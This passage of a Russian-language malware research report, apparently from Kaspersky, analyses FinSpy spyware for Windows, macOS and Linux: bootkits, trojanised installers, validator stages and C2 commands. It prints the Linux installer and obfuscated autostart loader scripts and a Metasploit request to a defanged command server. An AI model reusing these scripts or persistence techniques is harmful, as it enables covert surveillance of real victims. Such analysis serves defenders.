FinSpy, также известный как FinFisher и Wingbird, — это популярный шпионский инструментарий; «Лаборатория Касперского» отслеживает его с 2011 года. Изначально имплант FinSpy для Windows распространялся посредством одноэтапного установщика. Эта версия неоднократно была обнаружена и изучена специалистами по ИБ (например, командами Microsoft и WeLiveSecurity) вплоть до 2018 года. После этого мы заметили, что FinSpy для Windows стал детектироваться реже. Причины этой аномалии определить не удалось, однако мы начали детектировать подозрительные установщики легитимных приложений с бэкдором — относительно небольшим загрузчиком. Нам не удавалось отнести эти пакеты к определенному кластеру до середины 2019 года, когда мы нашли хост, служащий сервером для таких установщиков, а также для мобильных имплантов FinSpy для Android. В ходе расследования мы обнаружили, что установщики с бэкдором представляют собой импланты первого этапа для загрузки и развертывания следующих полезных нагрузок перед установкой основного троянца FinSpy.
Помимо троянизированных установщиков, мы наблюдали заражение с использованием буткита для UEFI или MBR. Если заражение MBR — метод, известный по меньшей мере с 2014 года, то о бутките для UEFI мы рассказываем в этой статье впервые.
Мы решили поделиться некоторой информацией о текущем состоянии имплантов FinSpy, которая ранее не публиковалась. Мы рассмотрим версии не только для Windows, но и для Linux и macOS, так как их структура и код во многом схожи.
Все подробности этого исследования доступны клиентам сервиса информирования об APT-угрозах на нашем портале Threat Intelligence Portal. Они также будут получать дальнейшую информацию о FinSpy, если она появится.
Контактные данные сервиса: intelreports@kaspersky.com
Заражение UEFI
Во время расследования мы нашли буткит для UEFI, загружающий FinSpy. На всех компьютерах, зараженных буткитом для UEFI, диспетчер загрузки Windows Boot Manager (bootmgfw.efi) был заменен на вредоносный. Когда UEFI передает выполнение вредоносному загрузчику, тот в первую очередь определяет расположение настоящего диспетчера загрузки Windows. Он хранится в каталоге efi\microsoft\boot\en-us\, и его имя состоит из шестнадцатеричных символов. В этом каталоге находятся еще два файла: инъектор Winlogon и загрузчик троянца. Оба зашифрованы по алгоритму RC4. Ключом для расшифровки является GUID системного раздела EFI, уникальный для каждого компьютера.
Пример содержимого каталога \efi\microsoft\boot\en-us\
После обнаружения исходного загрузчика системы он загружается в память, модифицируется и запускается. Модифицированный загрузчик:
- Изменяет функцию загрузчика ОС, передающую выполнение ядру.
- Модифицированная функция перехватывает функцию ядра PsCreateSystemThread; в результате при первом ее вызове создается дополнительный поток расшифровки и запуска загрузчика следующего этапа.
Загрузчик следующего этапа:
- Определяет расположение файла загрузчика троянца в разделе EFI и расшифровывает его.
- Ждет, пока пользователь войдет в систему, и внедряет загрузчик троянца в процесс exe.
Загрузчик троянца:
- Извлекает троянец из секции ресурсов и внедряет его под именем dll.
- Расшифровывает троянец с помощью операции XOR и распаковывает его с помощью библиотеки aPLib.
- Рефлексивно загружает и запускает троянец.
Заражение MBR
Более старые компьютеры, не поддерживающие UEFI, могут быть заражены через MBR. Когда целевая машина начинает работу, зараженная MBR копирует код исходного загрузчика из последнего мегабайта жесткого диска в самую верхнюю доступную область памяти перед EBDA1. Этот код перехватывает прерывания BIOS 13h и 15h, а затем запускает исходную MBR. Перехват прерывания 15h не позволяет Windows перезаписать скопированный код. При вызове прерывания для определения размера области перед EBDA хук сокращает объем доступной памяти. Второе перехваченное прерывание, 13h, управляет чтением информации с диска; его хук модифицирует загрузчик ОС при считывании с диска. Как и в случае с заражением EFI, перехваченные функции размещают собственные хуки на дальнейших этапах загрузки ОС. Последний хук в цепочке создает в ядре поток, который внедряет следующий этап в процесс winlogon.exe.
Если заражение происходит на 32-разрядном компьютере, процесс внедрения кода в winlogon.exe более сложен, чем при заражении через UEFI. Он выглядит следующим образом:
- В процессе exe создается поток с перенаправляющим шелл-кодом (трамплином).
- Этот шелл-код создает копию дескриптора процесса exe и передает ее процессу explorer.exe.
- Затем шелл-код внедряет еще один перенаправляющий шелл-код в Проводник.
- Второй шелл-код вынуждает exe внедрить загрузчик троянца обратно в процесс winlogon.exe.
Такой обходной путь внедрения кода используется, чтобы обмануть защитные решения.
При этом внедряется тот же загрузчик троянца, что и при заражении UEFI.
Заражение в пользовательском режиме
Обзор
Эта цепочка заражения намного сложнее. Вкратце сценарий атаки выглядит следующим образом:
- Жертва загружает троянизированное приложение и выполняет его.
- В процессе нормальной работы приложение подключается к командному серверу, скачивает и запускает незакрепляемый компонент Pre-Validator. Pre-Validator проверяет, не используется ли компьютер жертвы для анализа вредоносного ПО.
- Pre-Validator скачивает с командного сервера шелл-коды для обнаружения защитных решений и выполняет их. В общей сложности он выполняет более 30 шелл-кодов. Каждый шелл-код собирает определенную информацию о системе (например, имя выполняемого процесса) и отправляет ее на сервер.
- Если проверка дает неудовлетворительные результаты, командный сервер прерывает процесс заражения. В противном случае продолжается загрузка и выполнение шелл-кодов.
- Если все проверки безопасности пройдены, сервер отправляет компонент, который мы назвали Post-Validator. Это постоянный имплант, который, по всей видимости, проверяет, нужная ли жертва атакована. Post-Validator собирает информацию, позволяющую ему идентифицировать зараженный компьютер (выполняемые процессы, открытые недавно документы, снимки экрана), и отправляет ее на командный сервер, указанный в его конфигурации.
- В зависимости от собранной информации командный сервер может отправить Post-Validator команду развернуть полноценную троянскую платформу или устранить заражение.
Процесс заражения в пользовательском режиме
Троянизированные приложения
В процессе нашего исследования мы идентифицировали различные легитимные приложения, троянизированные FinSpy. Среди них были установщики ПО (например, TeamViewer, VLC Media Player, WinRAR), а также переносимые приложения.
Все выявленные образцы приложений с бэкдорами сохранили свои исходные цифровые подписи. Подписи были недействительными — это говорит о том, что файлы были изменены. Хотя точка входа в троянизированном приложении выглядит нормальной, проверка структуры PE выявляет аномалии: последняя секция (.rsrc на скриншоте ниже) расширена на 51 КБ.
Секции оригинального (слева) и троянизированного (справа) приложения
Помимо этого, секция .text (около 8 КБ) перезаписана глубоко обфусцированным кодом, а изначальный код приложения помещен в расширенную последнюю секцию.
Троянизированное приложение запускается нормально — вставленный обфусцированный код не мешает выполнению. В определенный момент приложение выполняет инструкцию перехода, которая передает выполнение обфусцированному коду-трамплину в секции .text. Инструкция, судя по всему, размещается в коде случайным образом. Например, здесь заменен вызов функции CreateWindowExW:
Оригинальный (слева) и модифицированный (справа) код троянизированного приложения
Трамплин защищен обфускатором, который мы назвали FinSpy Mutator. Он запускает код, который производит следующие действия:
- Расшифровывает и запускает незначительно модифицированный промежуточный загрузчик Metasploit (вариант Reverse HTTPS). Процедура расшифровки:
- обфусцируется с помощью FinSpy Mutator;
- включает применение 10 операций (ADD, SUB, XOR, ROL, ROR) к каждому байту загрузчика.
- уникальна для каждого троянизированного установщика.
- Восстановление кода в секции .text, замененного на вредоносный код (как мы помним, оригинальный код сохранен в секции ресурсов).
- Резолвит перемещения в восстановленном коде.
- Восстанавливает инструкцию, перезаписанную инструкцией перехода.
- Переходит к восстановленной инструкции, чтобы возобновить выполнение исходного приложения.
Загрузчик Metasploit подключается к заданному в конфигурации командному серверу по протоколу HTTPS. В образце с хэшем 5EDF9810355DE986EAD251B297856F38 Metasploit отправляет на командный сервер следующий запрос GET:
1 2 3 4 5 6 |
GET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--k6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Host: 45[.]86[.]136[.]138 Connection: Keep-Alive Cache-Control: no-cache |
Командный сервер в ответ на запрос GET отправляет компонент, который мы назвали Pre-Validator. Metasploit запускает его.
Pre-Validator
Pre-Validator представляет собой шелл-код, обфусцированный с помощью FinSpy Mutator. При запуске он выполняет следующие действия:
- Перехватывает функции NtTerminateProcess и ExitProcess, чтобы обеспечить продолжение работы Pre-Validator, если приложение с бэкдором закроется. Перехваченные функции закрывают все окна приложения, но не прерывают процесс.
- Отправляет начальный POST-запрос на командный сервер. Пример URL запроса: https://45[.]86[.]163[.]138/blog/index.asp?attachmentid=a46dee635db8017962741f99f1849471&d=5d7e89e6b4874d0df95141bd923556f8 (все части этого URL варьируются в разных образцах). Все взаимодействие с сервером шифруется по алгоритму RC4.
Ответ на начальный POST-запрос содержит шелл-код, который мы назвали Security Shellcode. Получив его, Pre-Validator выполняет следующие действия:
- Расшифровывает и выполняет полученный Security Shellcode.
- Отправляет результаты выполнения шелл-кода на командный сервер в POST-запросе.
- Получает следующий Security Shellcode от командного сервера и повторяет перечисленные шаги.
Характер этих шелл-кодов указывает на то, что они используются для сбора информации о системе и подтверждения того, что в ней не выполняется анализ вредоносного ПО. Важно отметить, что шелл-коды только собирают данные, все проверки выполняются на стороне сервера. Если шелл-код отправляет подозрительные результаты выполнения (например, Pre-Validator выполняется на виртуальной машине), сервер возвращает шелл-код, прерывающий работу Pre-Validator.
Полученные шелл-коды защищены либо FinSpy Mutator, либо обфускатором, схожим с OLLVM, либо обоими обфускаторами. В общей сложности мы выявили 33 шелл-кода Security Shellcode, предоставленных сервером (перечислены в порядке выполнения):
№ шелл-кода | Описание |
1 | Пытается обнаружить гипервизор, используя инструкцию CPUID (EAX = 1). При обнаружении гипервизора шелл-код возвращает его имя (EAX = 0x40000000), в противном случае — нулевые байты. |
2 | Проверяет, нужно ли имперсонировать текущий процесс (например, если пользователь без привилегий выполняет приложение с бэкдором как администратор). |
3 | Возвращает путь к папке профиля пользователя (например, C:\Users\username). |
4 | Возвращает сокращенную форму пути к папке профиля пользователя (например, C:\Users\abcdef~1). |
5 | Возвращает тип диска, который содержит приложение с бэкдором (например, съемный диск). |
6 | Возвращает имена процессов в текущем дереве процессов (например, текущий процесс, родительский процесс, прародительский процесс). |
7 | Возвращает путь к папке Program Files. |
8 | Возвращает следующую информацию о системном диске:
|
9 | Возвращает путь к временной папке пользователя. |
10 | Возвращает список типов сетевых адаптеров и назначенных им IP- и MAC-адресов. |
11 | Возвращает список запущенных процессов. |
12 | Возвращает значение ProcessDebugPort, полученное функцией NtQueryInformationProcess для текущего процесса. |
13 | Возвращает значение ProcessDebugObjectHandle, полученное функцией NtQueryInformationProcess для текущего процесса. |
14 | Возвращает значения объектов TotalNumberOfObjects и TotalNumberOfHandles, созданных функцией NtCreateDebugObject. |
15 | Возвращает SID текущего пользователя. |
16 | Возвращает список образов (файлов EXE/DLL), загруженных в текущий процесс. |
17 | Возвращает структуры OSVERSIONINFOEXW и SYSTEM_INFO. |
18 | Возвращает информацию о BIOS компьютера. |
19 | Возвращает список имен объектов в каталоге \GLOBAL??. |
20 | Возвращает информацию об операционной системе. |
21 | Возвращает имя текущего пользователя, имя компьютера, путь к выполняемому в данный момент файлу, его имя и путь в командной строке. |
22 | Возвращает список загруженных дисков. |
23 | Возвращает список путей к PDB-файлам загруженных дисков. |
24 | Возвращает первые 16 байтов первой экспортированной функции Zw* файла ntdll.dll (ZwAcceptConnectPort). |
25 | Проверяет подпись родительского процесса. |
26 | Возвращает информацию о подключенных устройствах Plug and Play. |
27 | Возвращает информацию о системе компьютера (получаемую с помощью WMI-запроса SELECT * FROM Win32_ComputerSystem). |
28 | Возвращает список подключенных PCI-устройств. |
29 | Возвращает имена ярлыков в каталоге «Рабочий стол». |
30 | Возвращает имена классов окна верхнего уровня и дочерних окон, не относящихся к текущему и родительскому процессу. |
31 | Возвращает список заголовков окна верхнего уровня и дочерних окон, не относящихся к текущему и родительскому процессу. |
32 | Возвращает SID текущего домена. |
33 | Очищает функции API, которые защитные решения могут перехватить: функции Nt* в ntdll.dll и все экспортируемые функции в kernel32.dll, kernelbase.dll и advapi32.dll. |
После проверок безопасности командный сервер отправляет шелл-код, загружающий и запускающий установщик Post-Validator.
Установщик модуля Post-Validator
Этот модуль представляет собой обфусцированный шелл-код. Он выполняет следующие действия:
- Создает подкаталог (имя зависит от образца) в каталоге C:\ProgramData.
- Копирует в созданный подкаталог два файла:
- DLL загрузчика модуля Post-Validator;
- шелл-код с самим Post-Validator.
Имена файлов жестко прописаны в дроппере, но являются уникальными для каждого образца и, по всей видимости, генерируются случайным образом.
- Создает запланированное задание запуска системы и запускает загрузчик модуля Post-Validator через regsvr32 (выполняемая команда: %windir%\syswow64\regsvr32.exe /s «<путь к DLL загрузчика>»).
Pre-Validator прекращает работу после установки Post-Validator.
Загрузчик модуля Post-Validator
Загрузчик модуля Post-Validator представляет собой большой (3–9 МБ) обфусцированный DLL-файл. Планировщик заданий запускает его при старте системы через regsvr32.exe. Объем его основной функции составляет несколько мегабайт, однако ее предназначение очень просто: считывание и выполнение шелл-кода, сохраненного в том же каталоге, что и сам загрузчик.
Пример свойств запланированного задания
Запущенный шелл-код расшифровывает Post-Validator (он хранится в одном файле с шелл-кодом) с помощью ключа RC4 (SID домена) и рефлексивно загружает его.
Post-Validator
Post-Validator представляет собой DLL-файл, обфусцированный с помощью VMProtect. Этот модуль использует тот же протокол связи, что и основной компонент-троянец:
- формат TLV (тип — длина блока данных — значение) для обмена данными с командными серверами;
- константы типа TLV, встроенные в троянец;
- криптографическая библиотека троянца для шифрования/дешифровки отправляемых и получаемых данных.
После запуска Post-Validator проверяет, не выполняется ли он в песочнице. Если нет, то он начинает взаимодействие с командными серверами, указанными в его конфигурации, и отправляет сигнальные сообщения каждые 15 минут. Каждое сообщение содержит краткую информацию о зараженном компьютере. Ответ на него может содержать различные команды.
TLV ID | Назначение команды (судя по основному троянцу) | Выполнение команды в Post-Validator |
0x8030A0 | Получение конфигурации импланта. | |
0x8070A0 | Получение списка файлов с данными, подготовленными для эксфильтрации. | Отправка трех строк в формате TLV: 243a, 201a и 201b («виртуальные» имена файлов данных). |
0x8072A0 | Отправка подготовленного файла с указанным именем на командный сервер. | Если имя файла:
|
0x8054A0, 0x805BA0, 0x8056A0, 0x805DA0, 0x8057A0, 0x805EA0 | Команды используются для скачивания и установки плагинов. | Команды используются для скачивания и выполнения установщика троянца. |
0x801530, 0x801630, 0x801730, 0x8018A0 | Удаление троянца. | Удаление Pre-Validator. |
0x7502A0 | Отключение от командного сервера. |
Когда Post-Validator получает установщик троянца (в виде DLL), он выполняет следующие действия:
- Рефлексивно загружает и запускает установщик.
- В зависимости от конфигурации либо удаляет себя (свой каталог и запланированное задание), либо переходит в спящий режим до перезагрузки системы.
Исходя из данных, собираемых Post-Validator, наиболее вероятно следующее:
- Post-Validator используется для проверки, была ли заражена именно та жертва, на которую нацеливались злоумышленники.
- Оператор командного сервера вручную анализирует данные, полученные с компьютера жертвы, и отправляет команды либо удалить Post-Validator, либо установить троянца.
Post-Validator — еще одно препятствие для исследователей. Даже если им удастся пройти все проверки Pre-Validator, оператор командного сервера может отказаться от заражения подозрительного компьютера.
Установщик троянца
Установщик создает рабочий каталог %localappdata%\Microsoft\<два конкатенированных слова на английском> и меняет временные метки доступа к каталогу, изменения и создания на дату годом раньше. Затем он внедряет в каталог следующие файлы:
Имя файла | Описание |
<4 случайных шестнадцатеричных символа>.cab | Конфигурационный файл настройки, зашифрованный по алгоритму RC4 (ключ — имя рабочего каталога). |
В разных образцах используются разные имена | Зашифрованный VFS-файл. |
Начальный загрузчик. | |
msvcr90.dll | Пакет троянца, зашифрованный с помощью операции XOR и сжатый с помощью aPLib. |
msvcr120d.dll | 64-разрядный загрузчик троянца. В начале исполняемого файла добавлено 0x4000 случайных байтов, и он зашифрован по алгоритму RC4 (ключ — GUID компьютера). |
msvcr140d.dll | 32-разрядный загрузчик троянца, также дополненный случайными байтами и зашифрованный по алгоритму RC4. |
Для внедренных файлов задаются временные метки, указывающие на дату за год до текущей. После подготовки рабочего каталога установщик запускает троянец.
Начальный загрузчик
Начальный загрузчик представляет собой DLL-библиотеку, которая при каждой загрузке системы запускается процессом rundll32.exe (троянец добавляет его в раздел реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, имя параметра уникально для каждого образца). Размер начального загрузчика превышает 5 МБ. Для его обфускации используется средство защиты, похожее на обфускатор OLLVM с открытым исходным кодом. Несмотря на размер, начальный загрузчик выполняет единственную функцию — расшифровывает и запускает 32-разрядный загрузчик троянца.
Загрузчик троянца
32-разрядный загрузчик троянца, запускаемый независимо от архитектуры зараженного компьютера, прежде всего проверяет, не выполняется ли он в 64-разрядной системе. Если это так, он считывает с диска 64-разрядный загрузчик (msvcr120d.dll) и выполняет его как шелл-код.
Загрузчик троянца (32-разрядный или 64-разрядный) выполняет следующие действия:
- Считывает пакетный файл троянца (dll), расшифровывает его с помощью операции XOR и распаковывает с помощью aPLib.
- Внедряет DLL-библиотеку троянца в процесс exe, вызывая функцию CreateRemoteThread либо используя технику KernelCallbackTable.
Заражение macOS
Версия вредоносного ПО для macOS проще, чем для Windows. Она написана на языке Objective-C. Для защиты FinSpy для Mac используется обфускатор, похожий на OLLVM. Кроме того, селекторы Objective-C, которые могут раскрыть информацию об именах методов, содержат мусорные данные.
Версия FinSpy для macOS содержит следующие компоненты:
- Установщик. В отличие от версии для Windows, которая использует несколько установщиков, версия для macOS содержит установщик только одного типа.
- Начальный загрузчик.
- Загрузчик троянца.
- Троянец, состоящий из оркестратора, криптографической библиотеки и плагинов.
Установщик
Когда жертва выполняет вредоносный код, запускается исполняемый файл, расположенный по пути <имя вредоносного приложения>.app/Contents/MacOS/installer. При запуске он проверяет среду на наличие отладчиков и виртуальных машин. Он внедряет на компьютер следующие файлы:
Путь | Описание |
/Library/Frameworks/Storage.framework | Каталог, содержащий троянец |
/private/etc/logind | Загрузчик троянца, запускаемый как агент при старте системы. |
/Library/LaunchAgents/logind.plist |
Конфигурация агента logind. Этот файл нужен для закрепления троянца. |
Для всех скопированных файлов формируются временные метки (дата изменения — временная метка файла Finder.app). Установщик назначает им владельца root:wheel. Кроме того, он выставляет биты SUID и SGID файла /private/etc/logind.
Копируя файл logind.plist в каталог /Library/LaunchAgents, установщик настраивает загрузку троянца при запуске.
Затем установщик запускает исполняемый файл logind (загрузчик троянца) с помощью утилиты launchctl.
Начальный загрузчик
Начальный загрузчик (/private/etc/logind) запускается при каждом запуске операционной системы. После запуска начальный загрузчик запускает загрузчик троянца (/Library/Frameworks/Storage.framework/Contents/MacOS/logind).
Загрузчик троянца
Загрузчик троянца использует функцию-конструктор, вызываемую перед функцией main. Она задает хуки для функций, которые загружают пакеты приложений. Эти хуки позволяют троянцу загружать плагины, одновременно расшифровывая их.
После размещения хуков загрузчик троянца запускает оркестратор (/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg). Оркестратор (как и плагины) упакован с помощью apLib и зашифрован по алгоритму AES. После распаковки оркестратора происходит его рефлексивная загрузка.
Заражение Linux
Версия FinSpy для Linux защищена обфускатором, похожим на OLLVM. Она содержит такие же компоненты, что и версия для macOS (начальный загрузчик, загрузчик троянца, оркестратор и плагины).
Установщик
Векторы заражения FinSpy для Linux не удалось определить. Судя по информации из раскрытой в результате утечки базы вопросов, направленных в службу поддержки FinFisher, можно предположить, что для заражения машин мог использоваться физический доступ к компьютеру:
Вопрос о заражении Linux-системы, отправленный в службу поддержки FinFisher в 2013 году
Начальный этап установщика представляет собой следующий шелл-скрипт:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
#!/bin/sh ELF_MAGIC=7f arch=`od -j4 -N1 -An -t u1 < /bin/sh | tr -d ' '` case $arch in 1) ARCHIVE=`grep --text --line-number '^__x86xx__$' "$0" | cut -d ':' -f 1` ;; 2) ARCHIVE=`grep --text --line-number '^__x64xx__$' "$0" | cut -d ':' -f 1` ;; *) exit 0 ;; esac ARCHIVE=$((ARCHIVE+1)) tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2 if [ -n "$SUDO_USER" ]; then su -c /tmp/udev2 $SUDO_USER else /tmp/udev2 fi if [ "$?" -eq 0 ];then rm -rf "$0" fi exit 0 |
Скрипт определяет архитектуру зараженного компьютера. В зависимости от нее скрипт извлекает 32-разрядный или 64-разрядный установщик второго этапа в файл /tmp/udev2 и запускает его. Обе версии установщика представляют собой исполняемые файлы, добавленные конкатенацией к bash-скрипту. 32-разрядная версия отделяется от скрипта строкой __x86xx__, а строка __x64xx__ отделяет 64-разрядную версию от 32-разрядной.
Запущенный исполняемый файл в первую очередь проверяет, не выполняется ли он на виртуальной машине, вызывая:
- ассемблерную инструкцию CPUID;
- команду lspci;
- команду dmesg.
Если обнаруживается виртуальная машина и установленный троянец не может быть запущен на ВМ, установщик прекращает работу. Рабочий каталог расположен по пути ~/<каталог 1>/<каталог 2>. Каталоги 1 и 2 могут получить следующие имена, выбранные случайным образом:
Имена каталога 1 | Имена каталога 2 |
.cache .dbus .fontconfig .gconf .gnome .gnome2 .kde .local .qt .ssh |
.config .bin .sbin .etc .cfg .apps |
Затем установщик внедряет троянец в рабочий каталог. Файл загрузчика троянца использует одно из следующих имен:
- cpuset
- kthreadd
- ksnapd
- udevd
- dbus-daemon
- atd
- crond
- hald
Файлы плагинов получают имя <ID модуля>.so, а их конфигурации — <ID модуля>C.dat.
После внедрения файлов установщик закрепляется в системе. В среде KDE он копирует bash-скрипт в каталог ~/.kde4/Autostart/udev2.sh или ~/.kde/Autostart/udev2.sh. В других средах рабочего стола он дописывает этот скрипт в конец файла ~/.profile.
Начальный загрузчик
Начальный загрузчик представляет собой следующий шелл-скрипт:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
if [ ! -n "$CS_FONT" ]; then # Load fonts by id CS_FONT_RID="<путь к рабочему каталогу в шестнадцатеричной кодировке>" CS_FONT_ID="<имя загрузчика троянца в шестнадцатеричной кодировке>" CS_FONT_COL="6364" CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` if [ ! -n "$CS_FONT_COLF" ]; then CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) fi ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} - > /dev/null 2>&1 unset CS_FONT_ID unset CS_FONT_COLF unset CS_FONT_SID unset CS_FONT_LOAD fi |
Этот скрипт декодирует путь к каталогу и загрузчик троянца из шестнадцатеричных данных и выполняет команду «cd <путь к рабочему каталогу> && ./<имя файла загрузчика> > /dev/null 2>&1 && cd — > /dev/null 2>&1″ , чтобы запустить загрузчик троянца.
Загрузчик троянца
После запуска загрузчик троянца выполняет следующие действия:
- Проверяет, не подвергается ли он отладке, с помощью функции ptrace, и если это так, прекращает работу.
- Считывает файл оркестратора с диска и распаковывает его с помощью aPLib.
- Рефлексивно загружает и запускает оркестратор.
Троянец
Обзор компонентов троянца для Windows
Версия троянца для Windows состоит из следующих компонентов:
- Модуль скрытия (Hider) — первый запускаемый компонент. Он запускает оркестратор и скрывает области памяти, содержащие код и данные компонентов троянца.
- Оркестратор (Orchestrator) — DLL-библиотека, которая отвечает за управление установленными плагинами и подготовку данных для отправки на командный сервер.
- Плагины — DLL-модули, выполняющие вредоносные действия на зараженном компьютере.
- Виртуальная файловая система (VFS) позволяет оркестратору и другим плагинам бесперебойно взаимодействовать с плагинами и их конфигурациями.
- Модуль ProcessWorm перехватывает действия системы. Подобно сетевому червю, который заражает компьютеры в локальной сети, ProcessWorm внедряется во все выполняющиеся процессы. После заражения процесса ProcessWorm проникает в его дочерние процессы.
- Модуль связи (Communicator) отправляет данные на командный сервер и получает ответы.
Модуль скрытия (Hider)
Модуль скрытия — первый запускаемый компонент бэкдора. Это корректно составленный PE-файл, защищенный ВМ FinSpy. При запуске модуль скрытия загружает с диска чистую копию ntdll.dll, которая используется при вызове функций API из этой библиотеки. После этого он расшифровывает оркестратор, хрянящийся в секции ресурсов модуля. Оркестратор зашифрован с 256-байтным ключом RC4, который декодируется во время выполнения с помощью операций сложения, вычитания и XOR. В разных образцах могут использоваться разные ключи.
Фрагмент функции генерации ключа RC4
После расшифровки и распаковки оркестратора модуль скрытия рефлексивно загружает его.
Функции скрытия
Перед тем как передать выполнение точке входа оркестратора, модуль скрытия активирует свою маскирующую функциональность. Вот как она работает:
- Модуль скрытия шифрует страницы оркестратора с помощью операций XOR и ROL и присваивает им атрибут PAGE_NOACCESS.
- Когда оркестратор обращается к скрытым страницам, операционная система генерирует исключение ACCESS_VIOLATION.
- Модуль скрытия обнаруживает это исключение с помощью хука функции KiUserExceptionDispatcher, которая управляет диспетчеризацией всех исключений.
- Перехваченная функция расшифровывает скрытую страницу и присваивает ей атрибут PAGE_EXECUTE_READWRITE, таким образом обрабатывая исключение.
- Через 30 секунд модуль скрытия снова скрывает рассекреченные страницы.
Модуль скрытия также защищает плагины, загружаемые оркестратором.
Оркестратор (Orchestrator)
Оркестратор — это основной модуль троянца, контролирующий все плагины и управляющий обменом данными с командным сервером.
При запуске оркестратор выполняет следующие действия:
- Перехватывает вызовы собственной IAT (таблицы адресов импорта), чтобы изменить поведение функций, выполняющих манипуляции с файлом WinAPI. Эти хуки нужны оркестратору для взаимодействия с VFS.
- Закрепляется в системе, создав запись в разделе реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
- Считывает конфигурацию оркестратора и загружает в память установленные плагины.
Интересно отметить, что оркестратор стирает собственные PE-структуры и код процедур инициализации. Этот прием нужен, чтобы затруднить обнаружение этого компонента в памяти и анализ его дампов.
После инициализации оркестратор запускает свои компоненты, описанные ниже:
- Инструмент мониторинга приложений, который отслеживает определенные процессы и уведомляет командный сервер об их запуске или приостановке.
- Инъектор ProcessWorm, который внедряет ProcessWorm в процессы, еще не зараженные этим компонентом.
- Диспетчер записи, который управляет данными, предназначенными для отправки на командный сервер.
- Поток связи с командным сервером.
Инструмент мониторинга приложений
Инструмент мониторинга приложений регулярно проверяет все процессы в системе и ищет приложения, указанные в конфигурации оркестратора. Запуск первого (или остановка последнего) экземпляра процесса из заданного в конфигурационном файле списка будет отмечен в ближайшем сообщении управляющему серверу. Примечательно, что инструмент мониторинга приложений собирает дескрипторы всех запущенных процессов в системе, в результате либо winlogon.exe, либо explorer.exe приобретает множество дескрипторов процесса.
Дескрипторы процесса, полученные процессом explorer.exe в чистой системе (слева) и в зараженной системе с оркестратором, внедренным в процесс explorer.exe (справа)
Инъектор ProcessWorm
Поток инъектора ProcessWorm обеспечивает выполнение ProcessWorm в каждом процессе, доступном для оркестратора. Как и инструмент мониторинга приложений, инъектор регулярно получает список запущенных процессов. Он проверяет каждый процесс на наличие в нем ProcessWorm и при необходимости внедряет ProcessWorm.
Диспетчер записи
Во время выполнения плагины могут сохранять в рабочем каталоге файлы записей (нажатий клавиш, снимков экрана, отправленных на печать файлов и т. д.). Диспетчер записи выполняет два действия:
- Периодически проверяет, есть ли файлы записей, которые можно отправить на командный сервер.
- Подготавливает файлы записей к отправке, когда командный сервер запрашивает их загрузку.
Каждому файлу записи, сохраняемому в рабочий каталог, присваивается имя в следующем формате:
<префикс плагина><префикс типа записи><случайное пятизначное число>.<расширение>
Префикс плагина, расширение и префикс типа записи зависят от идентификатора плагина, создавшего запись. Код оркестратора содержит массивы, преобразующие идентификаторы в префиксы и расширения.
Возможные префиксы плагина: auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm, vsc, ntos, user, run, cvs, cvg, con, ssy
Префиксы типа записи: inf, sys, doc, mem, vmx, net, run, dat, dll.
Используемые расширения имени файла: doc, vmx, net, xls, zip.
Поток связи с командным сервером
Этот поток обеспечивает коммуникацию с командным сервером. В частности, он связывается с командным сервером, отправляет ему сигнальные сообщения и получает команды. Поток распределяет полученные команды между плагинами и отправляет результаты их выполнения обратно на сервер.
Ниже представлен список команд для оркестратора:
ID команды | Описание |
Команды, связанные с записью данных | |
0x8072A0 | Отправить файл записи с указанным именем на командный сервер. |
0x8076A0, 0x807AA0 | Удалить запись с указанным именем из системы. |
0x8078A0 | Получить список всех записей на зараженном компьютере. |
0x8070A0 | Получить список записей, сделанных плагином с указанным идентификатором. |
Команды, связанные с конфигурацией | |
0x8030A0 | Отправить текущую конфигурацию на сервер. |
0x8032A0 | Изменить конфигурацию оркестратора. |
Команды, связанные с плагинами | |
0x8009A0 | Отправить список установленных плагинов на сервер. |
0x8054A0, 0x805BA0 | Начать установку плагина, создав временный файл в рабочем каталоге. |
0x8056A0, 0x805DA0 | Прикрепить фрагмент тела плагина к временному файлу, созданному предыдущей командой. |
0x8057A0, 0x805EA0 | Завершить процесс установки плагина. Эта команда переносит содержимое временного файла в виртуальную файловую систему и загружает новый плагин в память. |
0x8059A0 | Удалить плагин с компьютера. Эта команда выгружает из памяти указанный плагин и удаляет его из VFS. |
Прочие команды | |
0x8018A0 | Удалить бэкдор. Эта команда стирает все файлы и разделы реестра, созданные бэкдором, а также восстанавливает диспетчер загрузки Windows в MBR и EFI (если они были заражены) из резервной копии. |
0x807DA0 | Закрыть текущее подключение к командному серверу. |
0x7502A0 | Прекратить все трансляции. |
Модуль связи с командным сервером (Communicator)
